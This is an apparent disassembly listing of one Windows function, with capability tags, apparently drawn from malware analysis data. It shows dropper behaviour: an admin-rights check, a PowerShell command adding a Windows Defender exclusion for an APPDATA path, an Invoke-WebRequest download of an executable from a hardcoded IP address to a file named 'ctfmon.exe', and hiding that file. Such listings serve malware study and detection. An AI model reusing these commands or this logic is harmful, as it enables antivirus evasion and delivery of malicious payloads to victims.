Function at 0x1400012c0
Capabilities:
Get token membership
Query environment variable
Set file attributes

Disassembly:
push rbp
sub rsp, 0x410
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x388], 0xfffffffffffffffe
mov dword [rbp + 0x384], 0
mov dword [rbp + 0x380], r9d
mov qword [rbp + 0x378], r8
mov qword [rbp + 0x370], rdx
mov qword [rbp + 0x368], rcx
mov dword [rbp + 0x364], 0
mov eax, dword [0x1400275c4]
mov dword [rbp + 0x35e], eax
mov ax, word [0x1400275c8]
mov word [rbp + 0x362], ax
lea rcx, [rbp + 0x35e]
mov edx, 2
mov r8d, 0x20
mov r9d, 0x220
xor eax, eax
lea rax, [rbp + 0x350]
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x50], rax
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
cmp eax, 0
je 0x1400013af
mov rdx, qword [rbp + 0x350]
xor eax, eax
mov ecx, eax
lea r8, [rbp + 0x364]
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp + 0x350]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x364], 0
jne 0x14000144b
xor eax, eax
mov ecx, eax
lea rdx, [rbp + 0x240]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp eax, 0
je 0x140001446
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x240]
call fcn.140001b50
lea rdx, [0x1400275cb]
lea rcx, [rbp + 0x200]
call fcn.140001b50
jmp 0x140001407
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x200]
call section..text
jmp 0x14000141f
mov dword [rbp + 0x384], 1
lea rcx, [rbp + 0x200]
call fcn.140001bd0
lea rcx, [rbp + 0x220]
call fcn.140001bd0
jmp 0x140001708
jmp 0x14000144b
lea rcx, str.APPDATA
lea rdx, [rbp + 0xf0]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [rbp + 0xec], eax
cmp dword [rbp + 0xec], 0
jne 0x140001487
mov dword [rbp + 0x384], 1
jmp 0x140001708
lea rcx, [rbp + 0xa8]
mov qword [rbp - 0x10], rcx
lea rdx, [rbp + 0xf0]
call fcn.140001b50
mov rdx, qword [rbp - 0x10]
lea r8, str.ctfmon.exe
lea rcx, [rbp + 0xc8]
call fcn.140001c00
jmp 0x1400014ba
lea rcx, [rbp + 0xa8]
call fcn.140001bd0
lea rcx, [rbp + 0x48]
lea rdx, [rbp + 0xf0]
call fcn.140001b50
jmp 0x1400014db
lea rdx, str.powershell.exe__Command__Add_MpPreference__ExclusionPath_
lea rcx, [rbp + 0x68]
lea r8, [rbp + 0x48]
call fcn.140001c50
jmp 0x1400014f4
lea r8, [0x1400275e0]
lea rcx, [rbp + 0x88]
lea rdx, [rbp + 0x68]
call fcn.140001c00
jmp 0x140001510
lea rcx, [rbp + 0x68]
call fcn.140001bd0
lea rcx, [rbp + 0x48]
call fcn.140001bd0
lea rcx, [rbp + 0x88]
call fcn.1400010b0
jmp 0x140001533
lea rdx, str.powershell__Command__Invoke_Webrequest_http:__193.233.113.254:3232_WzRsY_161912.exe__OutFile_
lea rcx, [rbp + 8]
lea r8, [rbp + 0xc8]
call fcn.140001ca0
jmp 0x14000154f
lea r8, [0x1400275e0]
lea rcx, [rbp + 0x28]
lea rdx, [rbp + 8]
call fcn.140001c00
jmp 0x140001568
lea rcx, [rbp + 8]
call fcn.140001bd0
lea rcx, [rbp + 0x28]
call fcn.1400010b0
jmp 0x14000157f
mov dword [rbp + 4], 0x8f000
mov dword [rbp], 0
cmp dword [rbp], 0x1e
jge 0x140001611
lea rcx, [rbp + 0xc8]
call fcn.1400011a0
mov byte [rbp - 0x11], al
jmp 0x1400015ab
mov al, byte [rbp - 0x11]
test al, 1
jne 0x1400015bb
jmp 0x1400015e2
lea rcx, [rbp + 0xc8]
call fcn.140001210
mov dword [rbp - 0x18], eax
jmp 0x1400015cf
mov eax, dword [rbp - 0x18]
cmp eax, 0x8f000
jne 0x1400015e2
jmp 0x140001611
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call rax
jmp 0x1400015f5
lea rcx, [rbp + 0x28]
call fcn.1400010b0
jmp 0x140001603
mov eax, dword [rbp]
add eax, 1
mov dword [rbp], eax
jmp 0x14000158d
lea rcx, [rbp + 0xc8]
call fcn.1400011a0
mov byte [rbp - 0x19], al
jmp 0x140001625
mov al, byte [rbp - 0x19]
test al, 1
jne 0x140001635
jmp 0x1400016a0
lea rcx, [rbp + 0xc8]
call fcn.140001210
mov dword [rbp - 0x20], eax
jmp 0x140001649
mov eax, dword [rbp - 0x20]
cmp eax, 0x8f000
jne 0x1400016a0
lea rcx, [rbp + 0xc8]
call fcn.1400010b0
jmp 0x140001668
lea rcx, [rbp + 0xc8]
call fcn.1400018f0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, 2
call rax
jmp 0x14000168a
mov dword [rbp + 0x384], 0
mov dword [rbp - 4], 1
jmp 0x1400016e2
lea rcx, [0x140038420]
lea rdx, str.VCRUNTIME140.dl
call fcn.140001d90
mov qword [rbp - 0x28], rax
jmp 0x1400016bc
mov rcx, qword [rbp - 0x28]
lea rdx, [0x1400020e0]
call fcn.1400020c0
jmp 0x1400016d1
mov dword [rbp + 0x384], 1
mov dword [rbp - 4], 1
lea rcx, [rbp + 0x28]
call fcn.140001bd0
lea rcx, [rbp + 0x88]
call fcn.140001bd0
lea rcx, [rbp + 0xc8]
call fcn.140001bd0
jmp 0x140001708
mov eax, dword [rbp + 0x384]
add rsp, 0x410
pop rbp
ret